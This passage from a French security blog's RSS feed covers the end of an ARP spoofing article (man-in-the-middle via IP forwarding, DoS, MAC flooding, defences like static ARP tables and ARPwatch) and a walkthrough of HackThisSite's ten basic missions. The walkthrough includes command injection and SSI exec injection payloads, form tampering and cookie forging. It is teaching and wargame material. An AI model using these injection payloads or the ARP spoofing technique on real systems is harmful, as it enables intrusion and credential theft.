traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br />
<span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">612</span> ms <span style="color: #000000;">465</span> ms <span style="color: #000000;">515</span> ms<br />
<span style="color: #000000;">2</span> 192.168.0.30 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.30<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">238</span> ms <span style="color: #000000;">121</span> ms <span style="color: #000000;">169</span> ms</div></td></tr></tbody></table></div>
<p>Maintenant toutes les communications de l’utilisateur vers le serveur (ou inversement) seront routées vers le pirate… qui pourra par exemple récupérer les login/mot de passe.</p>
<h2>5. <a name="faiblesses">Faiblesses</a></h2>
<p>Comme je viens de le dire, il n’y a aucun système d’authentification. ARP est basé sur la confiance : il considère tous les messages reçus comme authentiques, qu’il provienne de la machine légitime ou pas et il n’intègre aucun moyen de vérification. Je pense que les concepteurs de ces protocoles ont sûrement simplifié les communications pour que les réseaux fonctionnent de manière optimale, les débits étaient très peu élevés à cette époque et un système d’authentification aurait été beaucoup plus lourd.<br />
La possibilité d’associer n’importe quelle adresse IP avec une @MAC permet à un pirate plusieurs vecteurs d’attaques, je vais maintenant en détailler 3 : Denial of Service, Man in the Middle et MAC Flooding.</p>
<h3>5.1 Denial of Service (DoS)</h3>
<p>Comme nous l’avons vu précédemment, un pirate peut facilement associer une adresse IP a une fausse adresse MAC. Par exemple, un pirate peut envoyer une réponse ARP associant l’adresse de vôtre routeur avec une adresse MAC qui n’existe pas. Votre ordinateur pense donc connaître réellement la passerelle par défaut, mais en fait ils envoient leurs paquets a une destination qui n’existe pas. Le pirate vous a isolé du réseau.<br />
Nous pourrions tout aussi bien projeter &#8211; sur un réseau plus grand – une attaque de type DDoS (Distributed Denial of Service) en signalant a toutes les machines qu’une seule adresse MAC correspond a toutes les adresses IP. Ce qui risque de submerger la machine sous des requêtes en tout genre. (Voir aussi MAC Flooding).</p>
<h3>5.2 Man in the Middle</h3>
<p>Une autre utilisation intéressante de cette faille est de rester dans l’ombre et d’ « écouter » le trafic (sniffing) pour récupérer des informations comme les logins et mot de passe… ce qui est particulièrement dévastateur, car le pirate peut rapidement avoir accès a des informations qui lui permettront de s’infiltrer plus profond dans vôtre réseau.<br />
Mise en œuvre : Dans le cadre d’un ARP Poisoning simple, les machines n’arrivent plus a joindre leur destinataire légitime, l’attaque est donc très facilement repérable. Mais le pirate peut facilement mettre en place ce qu’on appelle l’IP Forwarding (echo 1 &gt; /proc/sys/net/ipv4/ip_forward), celles-ci enverront donc leurs trames Ethernet à la machine pirate tout en croyant communiquer avec la cible, et ce de façon transparente pour les switches. De son côté, la machine pirate stocke le trafic et le renvoie à la vraie machine en forgeant des trames Ethernet comportant la vraie adresse MAC (indépendamment de l&#8217;adresse IP) pour cela il suffit en fait d&#8217;envoyer régulièrement des paquets ARPReply en broadcast, contenant l&#8217;adresse IP cible (mettons, un serveur) et la fausse adresse MAC. Cela a pour effet de modifier les tables dynamiques de toutes les machines du réseau. Ce qui permet à la machine du pirate d’écouter toutes les informations qui transitent par son ordinateur et il peu – facilement – avoir accès a vos mots de passe non chiffrés (entre autres).</p>
<h2>5.3 MAC Flooding</h2>
<p>Le MAC Flooding est un ARP Cache poisoning visant les routeurs et les switches. Certains matériels réseaux actifs &#8211; lorsqu’ils sont surchargés – basculent dans un mode moins gourmand en ressources, pour sauvegarder leurs liens : ils deviennent de simples hubs et donc broadcastent tout le trafic réseau sur tous leurs ports (et donc tous les ordinateurs qui y sont connectés. (Et en floodant la table ARP d’un switch avec énormément de données on peut facilement le surcharger..) ce qui permet ensuite au pirate d’écouter facilement tout ce qui transite sur le réseau.</p>
<h2>6. <a name="solutions">Solutions</a></h2>
<p>Certaines solutions que je vous propose ci-dessous sont simples, mais n’hésitez pas à les mettre en place – car si vous vous pensez à l’abri c’est là que vous êtes le plus vulnérable. Notez tout de même que l’ «ARP Poisoning» ne peut être utilisé qu’en local. Il doit contrôler une machine sur votre réseau, ce qui veut dire que le pirate aurait déjà accès à ce réseau… Parce que cette faille est inhérente au protocole requis par TCP/IP vous ne pourrez le patcher, cependant il existe des solutions pour le surveiller/détecter.</p>
<h3>6.1 Pour les petits réseaux</h3>
<p>Si vous êtes administrateur d’un petit réseau, vous avez plusieurs méthodes imparables pour vous prémunir de ces attaques : Utiliser des Adresses IP fixes / Tables ARP statiques. (arp –s pour définir les @MAC/IP de tous vos périphériques) ils ne changeront donc jamais, quels que soient les messages reçus. Si vous avez mis en place un contrôleur de domaine, il est possible de définir un script de démarrage dans lequel vous spécifieriez ces adresses.<br />
Gardez tout de même a l’esprit que maintenir une liste de ces adresses est possible seulement si vous possédez un petit réseau. S’il devait s’agrandir vous seriez rapidement submergé par le temps demandé a maintenir cette liste, car il vous faudrait ajouter chaque machine a ce script avant qu’elle ne puisse dialoguer avec les autres (quid de la taille du fichier script ?).</p>
<h3>6.2 Pour les grands réseaux</h3>
<p>Si vous êtes administrateur d’un réseau informatique assez étendu vous devriez être équipé de switch qui propose des options « port security » (par exemple Cisco) cette option permet de définir une seule adresse MAC par ports et qui &#8211; si cette adresse change &#8211; verrouille le port. Cela permet de limiter la plupart des attaques ARP comme le Man-in-the-middle.</p>
<h3>6.3 Pour tous le monde</h3>
<p>La meilleure protection contre l’ARP Poisoning est la surveillance de votre réseau, en effet, avec les outils appropriés, cette attaque ne peut pas passer inaperçue. Par exemple, il existe un outil nommé ARPwatch qui permet – en autres – d’envoyer une alerte quand messages ARP anormaux apparaissent (j’écrirais un billet sur l’envoi d’alertes par SMS via des API bientôt).</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/feed/</wfw:commentRss>
<slash:comments>13</slash:comments>
</item>
<item>
<title>HackThisSite.org Basic Howto: 1 à 10</title>
<link>http://www.crashdump.fr/securite/hackthissiteorg-howto-519/</link>
<comments>http://www.crashdump.fr/securite/hackthissiteorg-howto-519/#comments</comments>
<pubDate>Fri, 10 Apr 2009 13:04:09 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Code]]>
</category>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[basic mission]]>
</category>
<category>
<![CDATA[hack this site]]>
</category>
<category>
<![CDATA[HackThisSite.org]]>
</category>
<category>
<![CDATA[tutoriel]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/?p=519</guid>
<description>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/hacking-shellcode.png" class="attachment-featured-image wp-post-image" alt="hacking-shellcode" title="hacking-shellcode" /></p><br />Il y a des jours, ou, on se fait un peu plus chier que d&#8217;autres.. En bon geek j&#8217;ai occupé mon temps en surf sur le net et je suis tombé sur ça: http://www.hackthissite.com. Il ne sagit pas là d&#8217;une provocation pure et simple mais d&#8217;un site qui propose des défis de h4x0r. Je n&#8217;ai [...]]]>
</description>
<content:encoded>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/hacking-shellcode.png" class="attachment-featured-image wp-post-image" alt="hacking-shellcode" title="hacking-shellcode" /></p><br /><p><em>Il y a des jours, ou, on se fait un peu plus chier que d&#8217;autres.. En bon geek j&#8217;ai occupé mon temps en surf sur le net et je suis tombé sur ça: </em><a rel="nofollow" href="http://www.hackthissite.org/"><em>http://www.hackthissite.com</em></a><em>. Il ne sagit pas là d&#8217;une provocation pure et simple mais d&#8217;un site qui propose des défis de h4x0r. Je n&#8217;ai eu &#8211; pour l&#8217;instant &#8211; que l&#8217;occasion de réaliser la partie &laquo;&nbsp;Basic Missons&nbsp;&raquo; (les 10 épreuves) et je vais essayer de toutes vous les expliquer ici. Sans plus attendre voici les solutions.</em></p>
<p><strong>Avant tout, il vous faudra le navigateur  au renard a la queue flamboyante avec quelques une des extensions disponibles: &laquo;&nbsp;</strong><a rel="nofollow" href="http://www.mozilla-europe.org/fr/firefox/"><strong>Firefox</strong></a><strong>&laquo;&nbsp;, &laquo;&nbsp;</strong><a rel="nofollow" href="https://addons.mozilla.org/en-US/firefox/addon/1843"><strong>Firebug</strong></a><strong>&nbsp;&raquo; et &laquo;&nbsp;</strong><a rel="nofollow" href="https://addons.mozilla.org/fr/firefox/addon/6683"><strong>FireCookies</strong></a><strong>&laquo;&nbsp;.</strong></p>
<p><em></em></p>
<h2><span style="text-decoration: underline;">Basic 1</span>: &laquo;&nbsp;Basic test of your skills to see if you can do any of these missions. Requirements: HTML.&nbsp;&raquo;</h2>
<p>La première mission est vraiment très très simple, il suffit d&#8217;aller plonger dans le code source pour y trouver le mot de passe: faites un clic droit et &laquo;&nbsp;View page source&nbsp;&raquo; (ou &laquo;&nbsp;Inspect element&nbsp;&raquo; avec firebug) cherchez un code de la forme:</p>
<pre>&lt;!-- the first few levels are extremely easy: password is abcd1234 --&gt;</pre>
<p>Entrez le mot de passe dans le champ puis cliquez: &laquo;&nbsp;submit&nbsp;&raquo;. Bravo vous êtes un 3l1t3 h4x00r :)</p>
<h2><span style="text-decoration: underline;">Basic 2</span>: &laquo;&nbsp;A slightly more difficult challenge, involving an incomplete password script. Requirements: Common sense.&nbsp;&raquo;</h2>
<p>Deuxième mission qui on s&#8217;en doute ne va pas être vraiment plus difficile que la première. Il suffira d&#8217;être un petit peu logique.. il est dit que l&#8217;admin n&#8217;as pas uploadé le fichier contenant le mot de passe, donc: le mot de passe est&#8230; vide, quel étourdi ce sam ! Cliquez simplement sur &laquo;&nbsp;submit&nbsp;&raquo; :)</p>
<h2><span style="text-decoration: underline;">Basic 3</span>: &laquo;&nbsp;Some intuition is needed to find the location of the hidden password file. Requirements: Basic HTML knowledge.&nbsp;&raquo;</h2>
<p>Très bien, ici, Sam n&#8217;as pas oublié d&#8217;uploader le fichier contenant le mot de passe (en clair..). Comme d&#8217;habitude, avant tout, rendons nous dans la source:</p>
<pre>&lt;form action="/missions/basic/3/index.php" method="post"&gt;
    <strong>&lt;input type="hidden" name="file" value="password.php"&gt;</strong>
    &lt;input type="password" name="password"&gt;&lt;br /&gt;&lt;br /&gt;
    &lt;input type="submit" value="submit"&gt;</pre>
<p>Tiens, Sam a encore commis une boulette ! Pointez vôtre navigateur sur &laquo;&nbsp;http://www.hackthissite.org/missions/basic/3/password.php&nbsp;&raquo;, récupérez le mot de passe et next !</p>
<h2><span style="text-decoration: underline;">Basic 4</span>: &laquo;&nbsp;An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address.&nbsp;&raquo;</h2>
<p>Dans la mission 4, Sam a encore commis de belles erreurs !  Regardons directement la source:</p>
<pre>&lt;form action="/missions/basic/4/level4.php" method="post"&gt;
    &lt;input type="hidden" name="to" value="webmaster@hulla-balloo.com"&gt;
    &lt;input type="submit" value="Send password to Sam"&gt;
&lt;/form&gt;
&lt;form action="/missions/basic/5/index.php" method="post"&gt;
        &lt;input type="password" name="password"&gt;
        &lt;br /&gt;&lt;br /&gt;
        &lt;input type="submit" value="submit"&gt;
&lt;/form&gt;</pre>
<p>Comme vous pouvez le voir, il y a deux &laquo;&nbsp;forms&nbsp;&raquo;: Le premier permet d&#8217;envoyer le mot de passe sur l&#8217;adresse mail de Sam alors que le second permet l&#8217;accès quand on connais le mot de passe.</p>
<p>Ici encore, nous allons exploiter ce code pas très sécure pour nous faire envoyer le mot de passe en forgeant notre propre form. Pour ça, ouvrez firebug en cliquant droit sur le form, puis &laquo;&nbsp;Inspect element&nbsp;&raquo;. Maintenant changez directement l&#8217;adresse mail par la vôtre &#8211; ou changez le type du champ de </p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type=&quot;hidden&quot;</div></td></tr></tbody></table></div>
<p>à </p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type=&quot;text&quot;</div></td></tr></tbody></table></div>
<p>. Validez.. copiez le mot de passe, revenez en arrière et passons au challenge suivant :)</p>
<h2><span style="text-decoration: underline;">Basic 5</span>: &laquo;&nbsp;Similar to the previous challenge, but with some extra security measures in place. Requirements: HTML knowledge, JS or FF,  an email address.&nbsp;&raquo;</h2>
<p>A priori, rien de différent, on procède comme la Basic 4..</p>
<p>EDIT: il semble que la seule chose qui change c&#8217;est un script qui vérifie nôtre provenance avant de valider l&#8217;envoi du mail&#8230; en effet une autre solution pour le défi précédent aurais été de modifier la source de la page directement depuis une copie sur notre disque dur.</p>
<h2><span style="text-decoration: underline;">Basic 6</span>: &laquo;&nbsp;An encryption system has been set up, which uses an unknown algorithm to change the text given. Requirements: Persistence, some general cryptography knowledge.&nbsp;&raquo;</h2>
<p>J&#8217;avoue avoir un peu plus galéré sur ce défi ! C&#8217;est un sacré bond en avant que Sam nous a fait là.. En fait il ne sagit pas là d&#8217;exploit mais de cryptographie pure et simple.</p>
<p>Qu&#8217;avons nous ? deux formulaires et le mot de passe chiffré: Le premier permet de chiffrer un mot de passe et le deuxième d&#8217;accéder au défi suivant. Le mot de passe étant sous sa forme chiffrée, il nous faudra donc utiliser le premier script pour comprendre ou essayer d&#8217;en déduire la technique utilisée.</p>
<p>Essayons de chiffrer un caratère:</p>
<p><span style="font-family: -webkit-monospace;">1</span> nous donne: <span style="font-family: -webkit-monospace;">1</span></p>
<p><span style="font-family: -webkit-monospace;">1</span> donne <span style="font-family: -webkit-monospace;">1</span>. Hùùùm.. tentons quelque chose de plus long..</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">11111111</div></td></tr></tbody></table></div>
<p>-&gt; </p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">12345678</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">22222222</div></td></tr></tbody></table></div>
<p>-&gt; </p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">23456789</div></td></tr></tbody></table></div>
<p>Nous pouvons voir ici qu&#8217;il y a incrémentation de 1 pour le second chiffre, 2 pour le troisième.. etc. Que se passe t&#8217;il quand nous allons quitter les décimaux simples ? Essayons.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">99999999</div></td></tr></tbody></table></div>
<p>-&gt; </p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">9:;&amp;lt;=&amp;gt;?@</div></td></tr></tbody></table></div>
<p>C&#8217;est la qu&#8217;il m&#8217;a fallu un peu de temps pour réaliser qu&#8217;il sagissait en fait de la table ASCII&#8230; en effet, sur cette table après le &laquo;&nbsp;9&#8243; nous avons &nbsp;&raquo;:&nbsp;&raquo; puis &laquo;&nbsp;;&nbsp;&raquo; puis &nbsp;&raquo;&lt;&nbsp;&raquo;, etc&#8230; <a href="http://www.crashdump.fr/wp-content/uploads/2009/04/ascii_table.jpg">Vérifiez ici par vous même</a> :)</p>
<p>J&#8217;ai, comme mot de passe chiffré: <span style="font-family: -webkit-monospace;">ef6d4818</span></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">e - 0 = e</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">f - 1 = e</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">6 - 2 = 4</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">d - 3 = a</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">4 - 4 = 0</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">8 - 5 = 3</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">l - 6 = f</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">8 - 7 = 1</div></td></tr></tbody></table></div>
<p>Le mot de passe déchiffré est donc: ee4a03f1 dans mon cas :)</p>
<p><strong>Basic 7: &laquo;&nbsp;The password is hidden in an unknown file, and Sam has set up a script to display a calendar. Requirements: Basic UNIX command knowledge.&nbsp;&raquo;</strong></p>
<p>Celui ci est vraiment très facile aussi ! Nous apprenons que Sam a crée un script qui retourne la sortie de la commande cal de linux (une aubaine pour nous!). Testons la chose.. Si nous entrons une année dans le champ il nous retourne le résultat classique de la commande cal, rien d&#8217;exceptionnel. Comment cela peut il fonctionner ? Je suppose que le contenu doit être de la forme:</p>
<div class="wp_syntax">
<div class="code">
<pre><span>print</span> `cal <span>$input</span>`;</pre>
</div>
</div>
<p>Une simple injection de la forme:</p>
<pre><span>&amp;&amp; ls</span></pre>
<p>Nous permet donc de lister le répertoire courant:</p>
<pre>.
..
level7.php
cal.pl
index.php
k1kh31b1n55h.php
perl5.8.9.core</pre>
<p>Il semblerais que le fichier k1kh31b1n55h.php contienne notre mot de passe. Bravo étape suivante :)</p>
<h2><span style="text-decoration: underline;">Basic 8</span>: &laquo;&nbsp;The password is yet again hidden in an unknown file. Sam&#8217;s daughter has begun learning <a rel="nofollow" id="KonaLink0" class="kLink" href="http://www.hackthissite.org/#" target="undefined"><span><span class="kLink">PHP</span></span></a>, and has a small script to demonstrate her knowledge. Requirements: Knowledge of SSI (dynamic html executed by the <a rel="nofollow" id="KonaLink1" class="kLink" href="http://www.hackthissite.org/#" target="undefined"><span><span class="kLink">server</span></span></a>, rather than the browser).&nbsp;&raquo;</h2>
<p>Sam commence a sécuriser un peu plus ses formulaire, heureusement sa petite soeur a crée un petit script qui va nous ouvrir les portes ! Essayons donc maintenant le script de Stéphanie: Ce script enregistre ce que vous avez entré dans le champ texte avec quelques informations supplémentaires (Longueur du texte.. etc). C&#8217;est a ce moment la que nous allons utiliser une injection par formulaire en utilisant, cette fois ci les SSI. (Du html dynamique, du code exécuté par le serveur.. un peu comme le php). Les SSI sont utilisée &#8211; par exemple &#8211; par apache pour inclure les headers/footers des pages qu&#8217;il génère avec l&#8217;option &laquo;&nbsp;<a rel="nofollow" href="http://httpd.apache.org/docs/2.0/mod/mod_autoindex.html">Indexes</a>&laquo;&nbsp;.</p>
<p>Nous allons donc essayer d&#8217;insérer le code suivant (exec de la commande linux ls) dans le fichier généré par le script de Stéphanie:</p>
<pre>&lt;!--#exec cmd="ls .."--&gt;</pre>
<p>Et voilà le travail:</p>
<blockquote>
<pre>Hi, au12ha39vc.php index.php level8.php tmp!
Your name contains 39 characters.</pre>
</blockquote>
<p>Il ne vous reste plus qu&#8217;a consulter au12ha39vc.php pour passer au niveau suivant :)</p>
<h2><span style="text-decoration: underline;">Basic 9</span>: &laquo;&nbsp;The password is again hidden in an unknown file. However, the script that was previously used to find it has some limitations. Requirements: Knowledge of SSI, Unix directory structure.&nbsp;&raquo;</h2>
<p>Liée a la mission précédente, celle ci s&#8217;avère très simple si on prend un peu de recul&#8230; Tout d&#8217;abord nous n&#8217;avons ici que le champ texte d&#8217;entrée du mot de passe, il va donc falloir chercher ailleurs. Si nous lisons les instructions de notre ami Sam nous aprenons qu&#8217;il sagit ici encore de SSI &#8211; nous avions utilisé:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&amp;lt;!--#exec cmd=&quot;ls ..&quot;--&amp;gt;</div></td></tr></tbody></table></div>
<p>Donc il suffit de se rendre une mission plus tôt &#8211; retourner sur la 8, oui &#8211; et changer le path du ls pour lister ce répertoire ci.. rien de plus simple. Nous étions ici:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/missions/basic/8/tmp/</div></td></tr></tbody></table></div>
<p>et nous voulons aller là:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/missions/basic/9/</div></td></tr></tbody></table></div>
<p>, il suffira donc d&#8217;executer cette intruction ci:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&amp;lt;!--#exec cmd=&quot;ls ../../9&quot;--&amp;gt;</div></td></tr></tbody></table></div>
<p>Encore une victoire pour nous.. plus que deux missions, voyons ce que Sam va nous servir.</p>
<h2><span style="text-decoration: underline;">Basic 10</span>: &laquo;&nbsp;This time Sam used a more temporary and &laquo;&nbsp;hidden&nbsp;&raquo; approach to authenticating users, but he didn&#8217;t think about whether or not those users knew their way around javascript&#8230;&nbsp;&raquo;</h2>
<p>Comme dans les missions précédentes nous sommes relativement bien guidés, il nous est dit que Sam a utilisé une méthode d&#8217;authentification cachée: de quoi penser &laquo;&nbsp;Cookies&nbsp;&raquo; ! En étudiant le code nous nous rendons compte que cette fois ci le mot de passe a été codé en dur et n&#8217;est pas accessible.</p>
<p>Nous allons donc analyser les cookies pour voir ce qu&#8217;il en est. Nous allons avoir besoin de &laquo;&nbsp;FireCookies&nbsp;&raquo; une extension pour Firefox qui permet de gérer les cookies (ajout/suppression/edition). Pour être le plus clair possible voici une capture d&#8217;ecran:</p>
<p><em><a href="http://www.crashdump.fr/wp-content/uploads/2009/03/firecookies-hackthissite.png"><img class="alignnone size-thumbnail wp-image-526" title="firecookies-hackthissite" src="http://www.crashdump.fr/wp-content/uploads/2009/03/firecookies-hackthissite-430x125.png" alt="firecookies-hackthissite" width="430" height="125" /></a></em></p>
<p>Vous pouvez voir une ligne “level11_authorized” changez sa valeur de “no” a “yes”, validez. BRAVO.</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/hackthissiteorg-howto-519/feed/</wfw:commentRss>
<slash:comments>2</slash:comments>
</item>
<item>
<title>Protocole BGP, l&#8217;Internet en danger ?</title>
<link>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/</link>
<comments>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/#comments</comments>
<pubDate>Fri, 29 Aug 2008 14:50:50 +0000</pubDate>
